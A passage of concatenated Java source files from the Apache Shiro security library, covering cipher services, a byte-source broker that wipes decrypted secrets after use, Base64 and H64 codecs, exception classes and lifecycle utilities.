80 | * * The {@link OperationMode#CBC CBC} operation mode is used instead of the JDK default {@code ECB} to 81 | * ensure strong encryption. {@code ECB} should not be used in security-sensitive environments - see the 82 | * {@link DefaultBlockCipherService DefaultBlockCipherService} class JavaDoc's "Operation Mode" section 83 | * for more. 84 | *

85 | * **In conjunction with the default {@code CBC} operation mode, initialization vectors are generated by 86 | * default to ensure strong encryption. See the {@link JcaCipherService JcaCipherService} class JavaDoc for more. 87 | */ 88 | public BlowfishCipherService() { 89 | super(ALGORITHM_NAME); 90 | setInitializationVectorSize(BLOCK_SIZE); //like most block ciphers, the IV size is the same as the block size 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/crypto/cipher/ByteSourceBroker.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | 20 | package org.apache.shiro.crypto.cipher; 21 | 22 | /** 23 | * ByteSourceBroker holds an encrypted value to decrypt it on demand. 24 | *
25 | * {@link #useBytes(ByteSourceUser)} method is designed for dictating 26 | * developers to use the byte source in a special way, to prevent its prevalence 27 | * and difficulty of managing & zeroing that critical information at end of use. 28 | *
29 | * For exceptional cases we allow developers to use the other method, 30 | * {@link #getClonedBytes()}, but it's not advised. 31 | */ 32 | public interface ByteSourceBroker { 33 | /** 34 | * This method accepts an implementation of ByteSourceUser functional interface. 35 | *
36 | * To limit the decrypted value's existence, developers should maintain the 37 | * implementation part as short as possible. 38 | * 39 | * @param user Implements a use-case for the decrypted value. 40 | */ 41 | void useBytes(ByteSourceUser user); 42 | 43 | /** 44 | * As the name implies, this returns a cloned byte array 45 | * and caller has a responsibility to wipe it out at end of use. 46 | */ 47 | byte[] getClonedBytes(); 48 | } 49 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/crypto/cipher/ByteSourceUser.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | 20 | package org.apache.shiro.crypto.cipher; 21 | 22 | /** 23 | * {@link ByteSourceBroker#useBytes(ByteSourceUser)} method requires ByteSourceUser argument, 24 | * and developers should implement how we use the byte arrays in our code-base. 25 | *
26 | * The byte array "bytes" could be a decrypted password in plaintext format, or other 27 | * sensitive information that needs to be erased at end of use. 28 | */ 29 | public interface ByteSourceUser { 30 | void use(byte[] bytes); 31 | } 32 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/crypto/cipher/SimpleByteSourceBroker.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | 20 | package org.apache.shiro.crypto.cipher; 21 | 22 | import org.apache.shiro.lang.util.ByteSource; 23 | import org.apache.shiro.lang.util.Destroyable; 24 | import org.apache.shiro.util.ByteSourceWrapper; 25 | import org.apache.shiro.util.ByteUtils; 26 | 27 | import java.io.IOException; 28 | 29 | /** 30 | * A simple implementation that maintains cipher service, ciphertext and key for decrypting it later. 31 | * {@link #useBytes(ByteSourceUser)} guarantees the sensitive data in byte array will be erased at end of use. 32 | */ 33 | public class SimpleByteSourceBroker implements ByteSourceBroker, Destroyable { 34 | private JcaCipherService cipherService; 35 | private byte[] ciphertext; 36 | private byte[] key; 37 | private boolean destroyed = false; 38 | 39 | public SimpleByteSourceBroker(JcaCipherService cipherService, byte[] ciphertext, byte[] key) { 40 | this.cipherService = cipherService; 41 | this.ciphertext = ciphertext.clone(); 42 | this.key = key.clone(); 43 | } 44 | 45 | public synchronized void useBytes(ByteSourceUser user) { 46 | if (destroyed || user == null) { 47 | return; 48 | } 49 | ByteSource byteSource = cipherService.decryptInternal(ciphertext, key); 50 | 51 | try (ByteSourceWrapper temp = ByteSourceWrapper.wrap(byteSource.getBytes())) { 52 | user.use(temp.getBytes()); 53 | } catch (IOException e) { 54 | // ignore 55 | } 56 | 57 | } 58 | 59 | public byte[] getClonedBytes() { 60 | ByteSource byteSource = cipherService.decryptInternal(ciphertext, key); 61 | return byteSource.getBytes(); // this's a newly created byte array 62 | } 63 | 64 | public void destroy() throws Exception { 65 | if (!destroyed) { 66 | synchronized (this) { 67 | destroyed = true; 68 | cipherService = null; 69 | ByteUtils.wipe(ciphertext); 70 | ciphertext = null; 71 | ByteUtils.wipe(key); 72 | key = null; 73 | } 74 | } 75 | } 76 | } 77 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/crypto/cipher/package-info.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | /** 20 | * Cryptography Cipher and Hashing components that greatly simplify the JDK's cryptography concepts and 21 | * add additional convenient behavior. 22 | *

23 | * The most important interface in this package is the {@link org.apache.shiro.crypto.cipher.CipherService CipherService} 24 | * interface, which allows one to encrypt and decrypt sensitive data. 25 | */ 26 | package org.apache.shiro.crypto.cipher; 27 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/ShiroException.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang; 20 | 21 | /** 22 | * Root exception for all Shiro runtime exceptions. This class is used as the root instead 23 | * of {@link java.lang.SecurityException} to remove the potential for conflicts; many other 24 | * frameworks and products (such as J2EE containers) perform special operations when 25 | * encountering {@link java.lang.SecurityException}. 26 | * 27 | * @since 0.1 28 | */ 29 | public class ShiroException extends RuntimeException { 30 | 31 | /** 32 | * Creates a new ShiroException. 33 | */ 34 | public ShiroException() { 35 | super(); 36 | } 37 | 38 | /** 39 | * Constructs a new ShiroException. 40 | * 41 | * @param message the reason for the exception 42 | */ 43 | public ShiroException(String message) { 44 | super(message); 45 | } 46 | 47 | /** 48 | * Constructs a new ShiroException. 49 | * 50 | * @param cause the underlying Throwable that caused this exception to be thrown. 51 | */ 52 | public ShiroException(Throwable cause) { 53 | super(cause); 54 | } 55 | 56 | /** 57 | * Constructs a new ShiroException. 58 | * 59 | * @param message the reason for the exception 60 | * @param cause the underlying Throwable that caused this exception to be thrown. 61 | */ 62 | public ShiroException(String message, Throwable cause) { 63 | super(message, cause); 64 | } 65 | 66 | } 67 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/codec/Base64.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang.codec; 20 | 21 | /** 22 | * Provides Base 64 encoding and decoding as defined by 23 | * RFC 2045. 24 | *

25 | * This class implements section 6.8. Base64 Content-Transfer-Encoding from RFC 2045 Multipurpose 26 | * Internet Mail Extensions (MIME) Part One: Format of Internet Message Bodies by Freed and Borenstein. 27 | *

28 | * This class was borrowed from Apache Commons Codec SVN repository (rev. 618419) with modifications 29 | * to enable Base64 conversion without a full dependency on Commons Codec. We didn't want to reinvent the wheel of 30 | * great work they've done, but also didn't want to force every Shiro user to depend on the commons-codec.jar 31 | *

32 | * As per the Apache 2.0 license, the original copyright notice and all author and copyright information have 33 | * remained in tact. 34 | * 35 | * @see Wikipedia: Base 64 36 | * @see RFC 2045 37 | * @since 0.9 38 | */ 39 | public class Base64 { 40 | 41 | /** 42 | * Base64 encodes the specified byte array and then encodes it as a String using Shiro's preferred character 43 | * encoding (UTF-8). 44 | * 45 | * @param bytes the byte array to Base64 encode. 46 | * @return a UTF-8 encoded String of the resulting Base64 encoded byte array. 47 | */ 48 | public static String encodeToString(byte[] bytes) { 49 | byte[] encoded = encode(bytes); 50 | return CodecSupport.toString(encoded); 51 | } 52 | 53 | /** 54 | * Encodes a byte[] containing binary data, into a byte[] containing characters in the Base64 alphabet. 55 | * 56 | * @param pArray a byte array containing binary data 57 | * @return A byte array containing only Base64 character data 58 | */ 59 | public static byte[] encode(byte[] pArray) { 60 | return java.util.Base64.getEncoder().encode(pArray); 61 | } 62 | 63 | 64 | /** 65 | * Converts the specified UTF-8 Base64 encoded String and decodes it to a resultant UTF-8 encoded string. 66 | * 67 | * @param base64Encoded a UTF-8 Base64 encoded String 68 | * @return the decoded String, UTF-8 encoded. 69 | */ 70 | public static String decodeToString(String base64Encoded) { 71 | byte[] encodedBytes = CodecSupport.toBytes(base64Encoded); 72 | return decodeToString(encodedBytes); 73 | } 74 | 75 | /** 76 | * Decodes the specified Base64 encoded byte array and returns the decoded result as a UTF-8 encoded. 77 | * 78 | * @param base64Encoded a Base64 encoded byte array 79 | * @return the decoded String, UTF-8 encoded. 80 | */ 81 | public static String decodeToString(byte[] base64Encoded) { 82 | byte[] decoded = decode(base64Encoded); 83 | return CodecSupport.toString(decoded); 84 | } 85 | 86 | /** 87 | * Converts the specified UTF-8 Base64 encoded String and decodes it to a raw Base64 decoded byte array. 88 | * 89 | * @param base64Encoded a UTF-8 Base64 encoded String 90 | * @return the raw Base64 decoded byte array. 91 | */ 92 | public static byte[] decode(String base64Encoded) { 93 | byte[] bytes = CodecSupport.toBytes(base64Encoded); 94 | return decode(bytes); 95 | } 96 | 97 | /** 98 | * Decodes Base64 data into octets 99 | * 100 | * @param base64Data Byte array containing Base64 data 101 | * @return Array containing decoded data. 102 | */ 103 | public static byte[] decode(byte[] base64Data) { 104 | return java.util.Base64.getDecoder().decode(base64Data); 105 | } 106 | 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/codec/CodecException.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang.codec; 20 | 21 | import org.apache.shiro.lang.ShiroException; 22 | 23 | /** 24 | * Root exception related to issues during encoding or decoding. 25 | * 26 | * @since 0.9 27 | */ 28 | public class CodecException extends ShiroException { 29 | 30 | /** 31 | * Creates a new CodecException. 32 | */ 33 | public CodecException() { 34 | super(); 35 | } 36 | 37 | /** 38 | * Creates a new CodecException. 39 | * 40 | * @param message the reason for the exception. 41 | */ 42 | public CodecException(String message) { 43 | super(message); 44 | } 45 | 46 | /** 47 | * Creates a new CodecException. 48 | * 49 | * @param cause the underlying cause of the exception. 50 | */ 51 | public CodecException(Throwable cause) { 52 | super(cause); 53 | } 54 | 55 | /** 56 | * Creates a new CodecException. 57 | * 58 | * @param message the reason for the exception. 59 | * @param cause the underlying cause of the exception. 60 | */ 61 | public CodecException(String message, Throwable cause) { 62 | super(message, cause); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/codec/H64.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | /* 20 | * The apr_md5_encode() routine in the APR project's apr_md5.c file uses much 21 | * code obtained from the FreeBSD 3.0 MD5 crypt() function, which is licenced 22 | * as follows: 23 | * ---------------------------------------------------------------------------- 24 | * "THE BEER-WARE LICENSE" (Revision 42): 25 | * wrote this file. As long as you retain this notice you 26 | * can do whatever you want with this stuff. If we meet some day, and you think 27 | * this stuff is worth it, you can buy me a beer in return. Poul-Henning Kamp 28 | * ---------------------------------------------------------------------------- 29 | */ 30 | package org.apache.shiro.lang.codec; 31 | 32 | import java.io.IOException; 33 | 34 | /** 35 | * Codec for Unix Crypt-style encoding. While similar to 36 | * Base64, it is not compatible with Base64. 37 | *

38 | * This implementation is based on encoding algorithms found in the Apache Portable Runtime library's 39 | * apr_md5.c 40 | * implementation for its {@code crypt}-style support. The APR team in turn received inspiration for its encoding 41 | * implementation based on FreeBSD 3.0's {@code /usr/src/lib/libcrypt/crypt.c} implementation. The 42 | * accompanying license headers have been retained at the top of this source file. 43 | *

44 | * This file and all that it contains is ASL 2.0 compatible. 45 | * 46 | * @since 1.2 47 | */ 48 | public class H64 { 49 | 50 | private static final char[] itoa64 = "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".toCharArray(); 51 | 52 | private static short toShort(byte b) { 53 | return (short) (b & 0xff); 54 | } 55 | 56 | private static int toInt(byte[] bytes, int offset, int numBytes) { 57 | if (numBytes < 1 || numBytes > 4) { 58 | throw new IllegalArgumentException("numBytes must be between 1 and 4."); 59 | } 60 | int val = toShort(bytes[offset]); //1st byte 61 | for (int i = 1; i < numBytes; i++) { //any remaining bytes: 62 | short s = toShort(bytes[offset + i]); 63 | switch (i) { 64 | case 1: val |= s << 8; break; 65 | case 2: val |= s << 16; break; 66 | case 3: val |= s << 24; break; 67 | } 68 | } 69 | return val; 70 | } 71 | 72 | /** 73 | * Appends the specified character into the buffer, rethrowing any encountered 74 | * {@link IOException} as an {@link IllegalStateException} (since this method is used for internal 75 | * implementation needs and we only ever use StringBuilders, we should never encounter an IOException). 76 | * 77 | * @param buf the buffer to append to 78 | * @param c the character to append. 79 | */ 80 | private static void append(Appendable buf, char c) { 81 | try { 82 | buf.append(c); 83 | } catch (IOException e) { 84 | throw new IllegalStateException("Unable to append character to internal buffer.", e); 85 | } 86 | } 87 | 88 | /** 89 | * Encodes the specified integer to {@code numChars} H64-compatible characters and appends them into {@code buf}. 90 | * 91 | * @param value the integer to encode to H64-compatible characters 92 | * @param buf the output buffer 93 | * @param numChars the number of characters the value should be converted to. 3, 2 or 1. 94 | */ 95 | private static void encodeAndAppend(int value, Appendable buf, int numChars) { 96 | for (int i = 0; i < numChars; i++) { 97 | append(buf, itoa64[value & 0x3f]); 98 | value >>= 6; 99 | } 100 | } 101 | 102 | /** 103 | * Encodes the specified bytes to an {@code H64}-encoded String. 104 | * 105 | * @param bytes 106 | * @return 107 | */ 108 | public static String encodeToString(byte[] bytes) { 109 | if (bytes == null || bytes.length == 0) return null; 110 | 111 | StringBuilder buf = new StringBuilder(); 112 | 113 | int length = bytes.length; 114 | int remainder = length % 3; 115 | int i = 0; //starting byte 116 | int last3ByteIndex = length - remainder; //last byte whose index is a multiple of 3 117 | 118 | for(; i < last3ByteIndex; i += 3) { 119 | int twentyFourBit = toInt(bytes, i, 3); 120 | encodeAndAppend(twentyFourBit, buf, 4); 121 | } 122 | if (remainder > 0) { 123 | //one or two bytes that we still need to encode: 124 | int a = toInt(bytes, i, remainder); 125 | encodeAndAppend(a, buf, remainder + 1); 126 | } 127 | return buf.toString(); 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/codec/package-info.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | /** 20 | * Components for encoding and decoding of data across multiple formats, especially useful in Shiro's 21 | * cryptography and web functionality. 22 | */ 23 | package org.apache.shiro.lang.codec; 24 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/util/Destroyable.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang.util; 20 | 21 | /** 22 | * Shiro container-agnostic interface that indicates that this object requires a callback during destruction. 23 | * 24 | * @since 0.2 25 | */ 26 | public interface Destroyable { 27 | 28 | /** 29 | * Called when this object is being destroyed, allowing any necessary cleanup of internal resources. 30 | * 31 | * @throws Exception if an exception occurs during object destruction. 32 | */ 33 | void destroy() throws Exception; 34 | 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/util/Factory.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang.util; 20 | 21 | /** 22 | * Generics-aware interface supporting the 23 | * Factory Method design pattern. 24 | * 25 | * @param The type of the instance returned by the Factory implementation. 26 | * @since 1.0 27 | */ 28 | public interface Factory { 29 | 30 | /** 31 | * Returns an instance of the required type. The implementation determines whether or not a new or cached 32 | * instance is created every time this method is called. 33 | * 34 | * @return an instance of the required type. 35 | */ 36 | T getInstance(); 37 | } 38 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/util/Initializable.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang.util; 20 | 21 | import org.apache.shiro.lang.ShiroException; 22 | 23 | /** 24 | * Shiro container-agnostic interface that indicates that this object requires initialization. 25 | * 26 | * @since 0.2 27 | */ 28 | public interface Initializable { 29 | 30 | /** 31 | * Initializes this object. 32 | * 33 | * @throws ShiroException 34 | * if an exception occurs during initialization. 35 | */ 36 | void init() throws ShiroException; 37 | 38 | } 39 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/util/InstantiationException.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang.util; 20 | 21 | import org.apache.shiro.lang.ShiroException; 22 | 23 | /** 24 | * Runtime exception thrown by the framework when unable to instantiate a Class via reflection. 25 | * 26 | * @since 0.2 27 | */ 28 | public class InstantiationException extends ShiroException { 29 | 30 | /** 31 | * Creates a new InstantiationException. 32 | */ 33 | public InstantiationException() { 34 | super(); 35 | } 36 | 37 | /** 38 | * Constructs a new InstantiationException. 39 | * 40 | * @param message the reason for the exception 41 | */ 42 | public InstantiationException(String message) { 43 | super(message); 44 | } 45 | 46 | /** 47 | * Constructs a new InstantiationException. 48 | * 49 | * @param cause the underlying Throwable that caused this exception to be thrown. 50 | */ 51 | public InstantiationException(Throwable cause) { 52 | super(cause); 53 | } 54 | 55 | /** 56 | * Constructs a new InstantiationException. 57 | * 58 | * @param message the reason for the exception 59 | * @param cause the underlying Throwable that caused this exception to be thrown. 60 | */ 61 | public InstantiationException(String message, Throwable cause) { 62 | super(message, cause); 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/util/LifecycleUtils.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang.util; 20 | 21 | import org.apache.shiro.lang.ShiroException; 22 | import org.slf4j.Logger; 23 | import org.slf4j.LoggerFactory; 24 | 25 | import java.util.Collection; 26 | 27 | 28 | /** 29 | * Utility class to help call {@link org.apache.shiro.lang.util.Initializable#init() Initializable.init()} and 30 | * {@link org.apache.shiro.lang.util.Destroyable#destroy() Destroyable.destroy()} methods cleanly on any object. 31 | * 32 | * @since 0.2 33 | */ 34 | public abstract class LifecycleUtils { 35 | 36 | private static final Logger log = LoggerFactory.getLogger(LifecycleUtils.class); 37 | 38 | public static void init(Object o) throws ShiroException { 39 | if (o instanceof Initializable) { 40 | init((Initializable) o); 41 | } 42 | } 43 | 44 | public static void init(Initializable initializable) throws ShiroException { 45 | initializable.init(); 46 | } 47 | 48 | /** 49 | * Calls {@link #init(Object) init} for each object in the collection. If the collection is {@code null} or empty, 50 | * this method returns quietly. 51 | * 52 | * @param c the collection containing objects to {@link #init init}. 53 | * @throws ShiroException if unable to initialize one or more instances. 54 | * @since 0.9 55 | */ 56 | public static void init(Collection c) throws ShiroException { 57 | if (c == null || c.isEmpty()) { 58 | return; 59 | } 60 | for (Object o : c) { 61 | init(o); 62 | } 63 | } 64 | 65 | public static void destroy(Object o) { 66 | if (o instanceof Destroyable) { 67 | destroy((Destroyable) o); 68 | } else if (o instanceof Collection) { 69 | destroy((Collection)o); 70 | } 71 | } 72 | 73 | public static void destroy(Destroyable d) { 74 | if (d != null) { 75 | try { 76 | d.destroy(); 77 | } catch (Throwable t) { 78 | if (log.isDebugEnabled()) { 79 | String msg = "Unable to cleanly destroy instance [" + d + "] of type [" + d.getClass().getName() + "]."; 80 | log.debug(msg, t); 81 | } 82 | } 83 | } 84 | } 85 | 86 | /** 87 | * Calls {@link #destroy(Object) destroy} for each object in the collection. 88 | * If the collection is {@code null} or empty, this method returns quietly. 89 | * 90 | * @param c the collection of objects to destroy. 91 | * @since 0.9 92 | */ 93 | public static void destroy(Collection c) { 94 | if (c == null || c.isEmpty()) { 95 | return; 96 | } 97 | 98 | for (Object o : c) { 99 | destroy(o); 100 | } 101 | } 102 | } 103 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/util/Nameable.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by applicable law or agreed to in writing, 13 | * software distributed under the License is distributed on an 14 | * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY 15 | * KIND, either express or implied. See the License for the 16 | * specific language governing permissions and limitations 17 | * under the License. 18 | */ 19 | package org.apache.shiro.lang.util; 20 | 21 | 22 | /** 23 | * Interface implemented by components that can be named, such as via configuration, and wish to have that name 24 | * set once it has been configured. 25 | * 26 | * @since 0.9 27 | */ 28 | public interface Nameable { 29 | 30 | /** 31 | * Sets the (preferably application unique) name for this component. 32 | * @param name the preferably application unique name for this component. 33 | */ 34 | void setName(String name); 35 | } 36 | -------------------------------------------------------------------------------- /src/main/java/org/apache/shiro/lang/util/UnknownClassException.java: -------------------------------------------------------------------------------- 1 | /* 2 | * Licensed to the Apache Software Foundation (ASF) under one 3 | * or more contributor license agreements. See the NOTICE file 4 | * distributed with this work for additional information 5 | * regarding copyright ownership. The ASF licenses this file 6 | * to you under the Apache License, Version 2.0 (the 7 | * "License"); you may not use this file except in compliance 8 | * with the License. You may obtain a copy of the License at 9 | * 10 | * http://www.apache.org/licenses/LICENSE-2.0 11 | * 12 | * Unless required by 